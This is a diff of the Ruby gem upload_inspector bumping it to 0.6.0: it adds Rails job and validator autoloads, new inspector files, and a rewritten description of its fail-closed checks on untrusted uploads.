# unknown, unparsable, or erroring is rejected.
|
|
27
29
|
module UploadInspector
|
|
30
|
+
# Rails helpers, loaded on first use so the gem does not depend on Rails.
|
|
31
|
+
autoload :InspectJob, File.expand_path('upload_inspector/inspect_job', __dir__)
|
|
32
|
+
|
|
28
33
|
# Inspects an upload. Never raises on hostile input: always returns a Result.
|
|
29
34
|
#
|
|
30
35
|
# UploadInspector.check('/tmp/x.pdf', filename: 'design.pdf', allowed_types: ['application/pdf'])
|
|
@@ -58,3 +63,5 @@ module UploadInspector
|
|
|
58
63
|
S3.check(client:, bucket:, key:, filename:, version_id:, sandbox:, policy: Policy.new(**policy_options))
|
|
59
64
|
end
|
|
60
65
|
end
|
|
66
|
+
|
|
67
|
+
autoload :UploadInspectorValidator, File.expand_path('upload_inspector/upload_inspector_validator', __dir__)
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: upload_inspector
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.
|
|
4
|
+
version: 0.6.0
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Minh Doan
|
|
@@ -44,21 +44,15 @@ dependencies:
|
|
|
44
44
|
- - "<"
|
|
45
45
|
- !ruby/object:Gem::Version
|
|
46
46
|
version: '4'
|
|
47
|
-
description:
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
and
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
Usage:
|
|
57
|
-
UploadInspector.check(params[:file], allowed_types: %w[application/pdf image/heic video/mp4])
|
|
58
|
-
UploadInspector.check(record.document, allowed_types: ...) # Active Storage
|
|
59
|
-
UploadInspector.check(io, filename: "a.pdf", allowed_types: ...)
|
|
60
|
-
UploadInspector.check_s3(client: Aws::S3::Client.new, bucket: "b", key: "k.pdf", allowed_types: ...)
|
|
61
|
-
Each returns a Result: safe?, reason, detail, detected_type.
|
|
47
|
+
description: 'Fail-closed checks for untrusted uploads: the real file type must be
|
|
48
|
+
allowlisted and match the extension, and PDF, Office, zip, SVG, PNG, JPEG, GIF,
|
|
49
|
+
WebP, HEIC, AVIF, MP4 and QuickTime files are verified structurally (scripts, macros,
|
|
50
|
+
external links, appended data, zip and pixel bombs are rejected), as are CSV/TXT
|
|
51
|
+
files (UTF-8 only, no binary, no CSV injection). Works with file paths, Rails uploads,
|
|
52
|
+
Active Storage, any IO and S3 objects uploaded through presigned URLs, and ships
|
|
53
|
+
a Rails validator and background job. Inspection runs in a resource-limited child
|
|
54
|
+
process. Pure Ruby, not an antivirus. If this gem helps you, a star on GitHub is
|
|
55
|
+
much appreciated! Usage and options: https://github.com/akarui2004/upload_inspector#usage'
|
|
62
56
|
email:
|
|
63
57
|
- minhdpc@gmail.com
|
|
64
58
|
executables: []
|
|
@@ -70,8 +64,10 @@ files:
|
|
|
70
64
|
- README.md
|
|
71
65
|
- lib/upload_inspector.rb
|
|
72
66
|
- lib/upload_inspector/image_inspector.rb
|
|
67
|
+
- lib/upload_inspector/inspect_job.rb
|
|
73
68
|
- lib/upload_inspector/inspector.rb
|
|
74
69
|
- lib/upload_inspector/iso_bmff_inspector.rb
|
|
70
|
+
- lib/upload_inspector/messages.rb
|
|
75
71
|
- lib/upload_inspector/ooxml_inspector.rb
|
|
76
72
|
- lib/upload_inspector/pdf_inspector.rb
|
|
77
73
|
- lib/upload_inspector/pdf_object_parser.rb
|
|
@@ -81,6 +77,8 @@ files:
|
|
|
81
77
|
- lib/upload_inspector/sandbox.rb
|
|
82
78
|
- lib/upload_inspector/source.rb
|
|
83
79
|
- lib/upload_inspector/svg_inspector.rb
|
|
80
|
+
- lib/upload_inspector/text_inspector.rb
|
|
81
|
+
- lib/upload_inspector/upload_inspector_validator.rb
|
|
84
82
|
- lib/upload_inspector/version.rb
|
|
85
83
|
- lib/upload_inspector/xml_scanner.rb
|
|
86
84
|
- lib/upload_inspector/zip_inspector.rb
|
|
@@ -111,5 +109,5 @@ rubygems_version: 3.5.22
|
|
|
111
109
|
signing_key:
|
|
112
110
|
specification_version: 4
|
|
113
111
|
summary: Fail-closed structural inspection of untrusted uploads (PDF, Office, zip,
|
|
114
|
-
images,
|
|
112
|
+
images, video, CSV, Rails, S3).
|
|
115
113
|
test_files: []
|